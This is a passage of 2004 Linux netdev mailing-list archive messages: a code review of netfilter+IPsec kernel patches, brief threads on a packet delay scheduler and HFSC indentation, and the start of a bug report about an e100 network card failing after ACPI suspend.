Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4059CF0E.3050708@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 4130 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 778 Lines: 22 On Thu, Mar 18, 2004 at 05:32:14PM +0100, Patrick McHardy wrote: > > diff -Nru a/net/ipv4/ip_input.c b/net/ipv4/ip_input.c > --- a/net/ipv4/ip_input.c Thu Mar 18 16:45:35 2004 > +++ b/net/ipv4/ip_input.c Thu Mar 18 16:45:35 2004 > @@ -224,6 +224,12 @@ > resubmit: > hash = protocol & (MAX_INET_PROTOS - 1); > raw_sk = sk_head(&raw_v4_htable[hash]); > + ipprot = inet_protos[hash]; > + smp_read_barrier_depends(); > + > + if (skb->sp && !ipprot->xfrm_prot) > + if (nf_postxfrm_input(skb)) > + goto out; Need to check ipprot != NULL here. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From herbert@gondor.apana.org.au Fri Mar 19 03:47:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 03:47:18 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JBl3KO025681 for ; Fri, 19 Mar 2004 03:47:04 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B4ISe-00071q-00; Fri, 19 Mar 2004 22:46:48 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B4ISb-0007iK-00; Fri, 19 Mar 2004 22:46:45 +1100 Date: Fri, 19 Mar 2004 22:46:44 +1100 To: Patrick McHardy Cc: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 3/5]: netfilter+ipsec - input hooks Message-ID: <20040319114644.GC29066@gondor.apana.org.au> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF0E.3050708@trash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4059CF0E.3050708@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 4131 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 1050 Lines: 33 On Thu, Mar 18, 2004 at 05:32:14PM +0100, Patrick McHardy wrote: > > diff -Nru a/net/ipv4/ip_input.c b/net/ipv4/ip_input.c > --- a/net/ipv4/ip_input.c Thu Mar 18 16:45:35 2004 > +++ b/net/ipv4/ip_input.c Thu Mar 18 16:45:35 2004 > @@ -224,6 +224,12 @@ > resubmit: > hash = protocol & (MAX_INET_PROTOS - 1); > raw_sk = sk_head(&raw_v4_htable[hash]); > + ipprot = inet_protos[hash]; > + smp_read_barrier_depends(); > + > + if (skb->sp && !ipprot->xfrm_prot) > + if (nf_postxfrm_input(skb)) > + goto out; Just an idea: what if we reinject the packet just as we do in tunnel mode? > @@ -346,6 +351,10 @@ > } > } > > + if (skb->sp && !(((struct rtable *)skb->dst)->rt_flags&RTCF_LOCAL)) > + if (nf_postxfrm_nonlocal(skb)) > + goto drop; > + What if the PRE_ROUTING turns it into a local address again? -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From herbert@gondor.apana.org.au Fri Mar 19 03:48:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 03:48:13 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JBmAKO025827 for ; Fri, 19 Mar 2004 03:48:11 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B4ITm-00072W-00; Fri, 19 Mar 2004 22:47:58 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B4ITm-0007is-00; Fri, 19 Mar 2004 22:47:58 +1100 Date: Fri, 19 Mar 2004 22:47:57 +1100 To: "David S. Miller" Cc: Patrick McHardy , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 3/5]: netfilter+ipsec - input hooks Message-ID: <20040319114757.GD29066@gondor.apana.org.au> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF0E.3050708@trash.net> <20040318221523.07298f03.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040318221523.07298f03.davem@redhat.com> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 4132 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 798 Lines: 19 On Thu, Mar 18, 2004 at 10:15:23PM -0800, David S. Miller wrote: > > Be careful! xfrm4_tunnel handles both uncompressed ipcomp packets > _and_ IPIP encapsulator device packets. Yet you will intepret usage > of the ipprot as 'xfrm_prot==1' in all cases. Good point. > Yes this is ugly... if we added some kind of flag bit-mask to sk_buff, > would that allow an easier implementation? I'm not sure if this'll help in the degenerate IPCOMP case. Perhaps we need a way to tell if it is a degenerate IPCOMP tunnel or an IPIP tunnel without actually processing the packet. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From herbert@gondor.apana.org.au Fri Mar 19 03:51:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 03:51:47 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JBphKO026419 for ; Fri, 19 Mar 2004 03:51:44 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B4IXD-00073X-00; Fri, 19 Mar 2004 22:51:31 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B4IXC-0007jL-00; Fri, 19 Mar 2004 22:51:30 +1100 Date: Fri, 19 Mar 2004 22:51:30 +1100 To: Patrick McHardy Cc: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup Message-ID: <20040319115130.GE29066@gondor.apana.org.au> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4059CF17.8090907@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 4133 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 1152 Lines: 41 On Thu, Mar 18, 2004 at 05:32:23PM +0100, Patrick McHardy wrote: > > @@ -635,7 +636,6 @@ > #ifdef CONFIG_IP_ROUTE_FWMARK > fl.nl_u.ip4_u.fwmark = (*pskb)->nfmark; > #endif > - fl.proto = iph->protocol; Better call __ip_route_output_key rather than not setting proto because you'll need proto in xfrm_lookup. > if (ip_route_output_key(&rt, &fl) != 0) > return -1; > > @@ -661,6 +661,20 @@ > > if ((*pskb)->dst->error) > return -1; > + > +#ifdef CONFIG_XFRM > + if (!(IPCB(*pskb)->flags & IPSKB_XFRM_TRANSFORMED)) { > + struct xfrm_policy_afinfo *afinfo; > + > + afinfo = xfrm_policy_get_afinfo(AF_INET); > + if (afinfo != NULL) { > + afinfo->decode_session(*pskb, &fl); > + xfrm_policy_put_afinfo(afinfo); > + if (xfrm_lookup(&(*pskb)->dst, &fl, (*pskb)->sk, 0) != 0) > + return -1; > + } > + } > +#endif If we can reinject transport packets then we can move this back into the if clause. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From hadi@cyberus.ca Fri Mar 19 06:52:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 06:52:23 -0800 (PST) Received: from mx01.cybersurf.com (mx01.cybersurf.com [209.197.145.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JEqIKO001755 for ; Fri, 19 Mar 2004 06:52:18 -0800 Received: from mail.cyberus.ca ([209.197.145.21]) by mx01.cybersurf.com with esmtp (Exim 4.20) id 1B4LM4-0001Lk-MT for netdev@oss.sgi.com; Fri, 19 Mar 2004 09:52:12 -0500 Received: from [216.209.86.2] (helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1B4LM3-0003wH-FD; Fri, 19 Mar 2004 09:52:11 -0500 Subject: Re: [PATCH] packet delay scheduler From: jamal Reply-To: hadi@cyberus.ca To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com, lartc@mailman.ds9a.nl In-Reply-To: <20040318120451.1c9ee286@dell_ss3.pdx.osdl.net> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> <20040318120451.1c9ee286@dell_ss3.pdx.osdl.net> Content-Type: text/plain Organization: jamalopolis Message-Id: <1079707927.1032.42.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 19 Mar 2004 09:52:07 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 4134 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 1131 Lines: 32 Hi Stephen, Good effort but we could do more to capture the essence of nistnet. I am not familiar with dummynet so cant comment on it. For example just with the delaying action nistnet does a lot more (cutnpaste): Fixed delays, variable delays with loadable delay probability distribution (Default distribution is pareto-normal, empirically parametrized to match observed packet delays), settable mean/variance. It can also introduce Packet reordering, packet loss, packet duplication, as well as bandwidth limitation to induce congestion. You get the point: essentially you have barely scratched the surface. I think putting all the above in one huge monolithic module is wrong this being one of the problems i had with nistnet. The better alternative is to use the tc extension patches i have because then you could write little modules which do different things and cascade them. Maybe as an example i can rewrite the fixed delayer you wrote as an action module. The only catch is the patches i have are still in 2.4.x at the moment. Let me know if you are interested and i could pass you the patches. cheers, jamal From kaber@trash.net Fri Mar 19 07:19:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 07:19:57 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JFJsKO002664 for ; Fri, 19 Mar 2004 07:19:55 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B4LnJ-0008WU-00; Fri, 19 Mar 2004 16:20:21 +0100 Message-ID: <405B0FED.9090708@trash.net> Date: Fri, 19 Mar 2004 16:21:17 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com Subject: Re: [PATCH 1/2] HFSC: Fix indentations References: <4059D271.2080705@trash.net> <20040318204055.41a505e3.davem@redhat.com> In-Reply-To: <20040318204055.41a505e3.davem@redhat.com> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4135 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 325 Lines: 16 David S. Miller wrote: > On Thu, 18 Mar 2004 17:46:41 +0100 > Patrick McHardy wrote: > > >>this patch fixes broken indentations in HFSC from the u_intXX_t -> uXX >>change. > > > Applied to 2.6.x, do we need this in 2.4.x too? > Yes, both patches should apply to 2.4 with minor fuzz. Regards Patrick From kaber@trash.net Fri Mar 19 07:29:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 07:30:26 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JFTFKO003149 for ; Fri, 19 Mar 2004 07:29:16 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B4LwD-00006F-00; Fri, 19 Mar 2004 16:29:33 +0100 Message-ID: <405B1215.2070909@trash.net> Date: Fri, 19 Mar 2004 16:30:29 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> <20040318221645.2b67e433.davem@redhat.com> In-Reply-To: <20040318221645.2b67e433.davem@redhat.com> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4136 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 643 Lines: 20 David S. Miller wrote: > On Thu, 18 Mar 2004 17:32:23 +0100 > Patrick McHardy wrote: > > >>This patch adds policy lookups to ip_route_me_harder and makes NAT >>reroute for any change that affects route/policy lookups. > > > Why are you deleting that "fl.proto = iph->protocol;" line in > net/core/netfilter.c? Is something else going to set it properly? > The patch adds a call to decode_session/xfrm_lookup below. This handles packets with local and non-local source, setting fl.proto only handles packets with local source. Also we must check if the packet was already transformed to prevent loops. Regards Patrick From kaber@trash.net Fri Mar 19 08:16:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 08:16:19 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JGGHKO004780 for ; Fri, 19 Mar 2004 08:16:17 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B4Mfi-0000Ck-00; Fri, 19 Mar 2004 17:16:34 +0100 Message-ID: <405B1D1A.6050700@trash.net> Date: Fri, 19 Mar 2004 17:17:30 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 3/5]: netfilter+ipsec - input hooks References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF0E.3050708@trash.net> <20040318221523.07298f03.davem@redhat.com> In-Reply-To: <20040318221523.07298f03.davem@redhat.com> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4137 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 521 Lines: 13 David S. Miller wrote: > > Be careful! xfrm4_tunnel handles both uncompressed ipcomp packets > _and_ IPIP encapsulator device packets. Yet you will intepret usage > of the ipprot as 'xfrm_prot==1' in all cases. > > Yes this is ugly... if we added some kind of flag bit-mask to sk_buff, > would that allow an easier implementation? > I can't imagine how. Best would be to avoid the xfrm_prot flag completely. Maybe we can add a flag to xfrm_state which indicates that this is the last xfrm specified in the policy ? From kaber@trash.net Fri Mar 19 08:22:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 08:22:56 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JGMsKO008238 for ; Fri, 19 Mar 2004 08:22:55 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B4Mm5-0000HB-00; Fri, 19 Mar 2004 17:23:09 +0100 Message-ID: <405B1EA5.3030701@trash.net> Date: Fri, 19 Mar 2004 17:24:05 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 5/5]: netfilter+ipsec - policy checks References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF27.4030803@trash.net> <20040318221904.45011167.davem@redhat.com> In-Reply-To: <20040318221904.45011167.davem@redhat.com> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4138 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 464 Lines: 13 David S. Miller wrote: > Other than the minor comments I've made the most unhappy I am > with the input patch, and you agree it's grotty too. Let's look > for a better solution, perhaps with new top-level SKB state, > and then we can put all of your work in after you're made the other > minor fixes I've asked for as well. I'm going to make the changes you suggested. Can you please explain what you imagine with the new top-level skb state ? Regards Patrick From kaber@trash.net Fri Mar 19 08:28:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 08:28:32 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JGSUKO008797 for ; Fri, 19 Mar 2004 08:28:30 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B4MrZ-0000Js-00; Fri, 19 Mar 2004 17:28:49 +0100 Message-ID: <405B1FF9.1020504@trash.net> Date: Fri, 19 Mar 2004 17:29:45 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: Herbert Xu CC: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 3/5]: netfilter+ipsec - input hooks References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF0E.3050708@trash.net> <20040319114644.GC29066@gondor.apana.org.au> In-Reply-To: <20040319114644.GC29066@gondor.apana.org.au> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4139 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 1282 Lines: 47 Herbert Xu wrote: > On Thu, Mar 18, 2004 at 05:32:14PM +0100, Patrick McHardy wrote: > >>diff -Nru a/net/ipv4/ip_input.c b/net/ipv4/ip_input.c >>--- a/net/ipv4/ip_input.c Thu Mar 18 16:45:35 2004 >>+++ b/net/ipv4/ip_input.c Thu Mar 18 16:45:35 2004 >>@@ -224,6 +224,12 @@ >> resubmit: >> hash = protocol & (MAX_INET_PROTOS - 1); >> raw_sk = sk_head(&raw_v4_htable[hash]); >>+ ipprot = inet_protos[hash]; >>+ smp_read_barrier_depends(); >>+ >>+ if (skb->sp && !ipprot->xfrm_prot) >>+ if (nf_postxfrm_input(skb)) >>+ goto out; > > > Just an idea: what if we reinject the packet just as we do in tunnel mode? If we also have a possibility to determine when decapsulation is done we could avoid the nf_postxfrm_* hacks. Without that, I don't think it helps. > > >>@@ -346,6 +351,10 @@ >> } >> } >> >>+ if (skb->sp && !(((struct rtable *)skb->dst)->rt_flags&RTCF_LOCAL)) >>+ if (nf_postxfrm_nonlocal(skb)) >>+ goto drop; >>+ > > > What if the PRE_ROUTING turns it into a local address again? You have good eyes ;) The packet needs to be rerouted in nf_postxfrm_nonlocal and needs to be special-cased in nf_postxfrm_input so it doesn't traverse PRE_ROUTING twice. Thanks for your other suggestions as well, I'm going to make these changes. Regards Patrick From kaber@trash.net Fri Mar 19 08:33:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 08:33:50 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JGXmKO009251 for ; Fri, 19 Mar 2004 08:33:49 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B4Mwg-0000Kg-00; Fri, 19 Mar 2004 17:34:06 +0100 Message-ID: <405B2132.6060403@trash.net> Date: Fri, 19 Mar 2004 17:34:58 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: Herbert Xu CC: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> <20040319115130.GE29066@gondor.apana.org.au> In-Reply-To: <20040319115130.GE29066@gondor.apana.org.au> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4140 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 1258 Lines: 49 Herbert Xu wrote: > On Thu, Mar 18, 2004 at 05:32:23PM +0100, Patrick McHardy wrote: > >>@@ -635,7 +636,6 @@ >> #ifdef CONFIG_IP_ROUTE_FWMARK >> fl.nl_u.ip4_u.fwmark = (*pskb)->nfmark; >> #endif >>- fl.proto = iph->protocol; > > > Better call __ip_route_output_key rather than not setting proto because > you'll need proto in xfrm_lookup. > > >> if (ip_route_output_key(&rt, &fl) != 0) >> return -1; >> > > >>@@ -661,6 +661,20 @@ >> >> if ((*pskb)->dst->error) >> return -1; >>+ >>+#ifdef CONFIG_XFRM >>+ if (!(IPCB(*pskb)->flags & IPSKB_XFRM_TRANSFORMED)) { >>+ struct xfrm_policy_afinfo *afinfo; >>+ >>+ afinfo = xfrm_policy_get_afinfo(AF_INET); >>+ if (afinfo != NULL) { >>+ afinfo->decode_session(*pskb, &fl); >>+ xfrm_policy_put_afinfo(afinfo); >>+ if (xfrm_lookup(&(*pskb)->dst, &fl, (*pskb)->sk, 0) != 0) >>+ return -1; >>+ } >>+ } >>+#endif > > > If we can reinject transport packets then we can move this back into > the if clause. I don't understand the relationship to transport mode packets. I used an explicit call to xfrm_lookup so packets with non-local source are also handled. We also need to protect against loops, packets which are already transformed should not be transformed again. Regards Patrick From scjody@conscoop.ottawa.on.ca Fri Mar 19 10:22:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Mar 2004 10:23:06 -0800 (PST) Received: from conifer.conscoop.ottawa.on.ca (gw.conscoop.ottawa.on.ca [66.11.166.42]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2JIMsKO013590 for ; Fri, 19 Mar 2004 10:22:57 -0800 Received: from scjody by conifer.conscoop.ottawa.on.ca with local (Exim 3.35 #1 (Debian)) id 1B4Odw-0004CM-00; Fri, 19 Mar 2004 13:22:52 -0500 Date: Fri, 19 Mar 2004 13:22:52 -0500 From: Jody McIntyre To: netdev@oss.sgi.com Cc: scott.feldman@intel.com Subject: PROBLEM: e100 fails under heavy load after ACPI suspend Message-ID: <20040319182252.GD23923@conscoop.ottawa.on.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 4141 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scjody@modernduck.com Precedence: bulk X-list: netdev Content-Length: 15934 Lines: 365 [1.] One line summary of the problem: e100 fails under heavy load after ACPI suspend [2.] Full description of the problem/report: After an ACPI suspend to memory (echo -n mem >/sys/power/state), my e100 card stops working under heavy load. wget of a large file on a local server hangs after a few seconds. Occasionally, NETDEV WATCHDOG: eth0: transmit timed out appears in dmesg. 'rmmod e100; modprobe e100; dhclient eth0' solves the problem, but only until the next heavy usage. If I should be submitting this to the ACPI people instead of to you, please let me know and I will do so. [3.] Keywords (i.e., modules, networking, kernel): e100, acpi [4.] Kernel version (from /proc/version): Linux version 2.6.4 (scjody@debian) (gcc version 3.3.3 (Debian)) #1 Thu Mar 18 20:18:50 EST 2004 Applied acpi-20040311-2.6.4.diff.bz2 [5.] Output of Oops.. message (if applicable) with symbolic information resolved (see Documentation/oops-tracing.txt) n/a [6.] A small shell script or example program which triggers the problem (if possible) wget-ing a large file from a local server is sufficient. apt-get install xxxxx will also do it most of the time. [7.] Environment [7.1.] Software (add the output of the ver_linux script here) Linux debian 2.6.4 #1 Thu Mar 18 20:18:50 EST 2004 i686 GNU/Linux Gnu C 3.3.3 Gnu make 3.79.1 util-linux 2.11n mount 2.11n module-init-tools 3.0-pre9 e2fsprogs 1.27 pcmcia-cs 3.1.33 nfs-utils 1.0 Linux C Library 2.3.2 Dynamic linker (ldd) 2.3.2 Procps 2.0.7 Net-tools 1.60 Console-tools 0.2.3 Sh-utils 5.0.91 Modules Loaded e100 ipv6 af_packet radeon snd_mixer_oss snd soundcore ds pcmcia_core irda binfmt_misc thermal processor fan button battery asus_acpi ac mii usbkbd usb_storage usbcore scsi_mod rtc unix [7.2.] Processor information (from /proc/cpuinfo): processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 9 model name : Intel(R) Pentium(R) M processor 1400MHz stepping : 5 cpu MHz : 1395.873 cache size : 1024 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpu vme de pse tsc msr mce cx8 apic sep mtrr pge mca cmov pat clflush dts acpi mmx fxsr sse sse2 tm pbe tm2 est bogomips : 2768.89 [7.3.] Module information (from /proc/modules): e100 33024 0 - Live 0xf08c3000 ipv6 251392 6 - Live 0xf0a4a000 af_packet 22280 20 - Live 0xf0964000 radeon 120492 0 - Live 0xf09e3000 snd_mixer_oss 20224 0 - Live 0xf0944000 snd 56100 1 snd_mixer_oss, Live 0xf09b0000 soundcore 10272 1 snd, Live 0xf08d7000 ds 15812 0 - Live 0xf093f000 pcmcia_core 67680 1 ds, Live 0xf0952000 irda 200704 2 - Live 0xf097e000 binfmt_misc 10632 1 - Live 0xf08cd000 thermal 18640 0 - Live 0xf0939000 processor 25712 1 thermal, Live 0xf0931000 fan 5260 0 - Live 0xf08d4000 button 7960 0 - Live 0xf08d1000 battery 12044 0 - Live 0xf08bf000 asus_acpi 10520 0 - Live 0xf08b8000 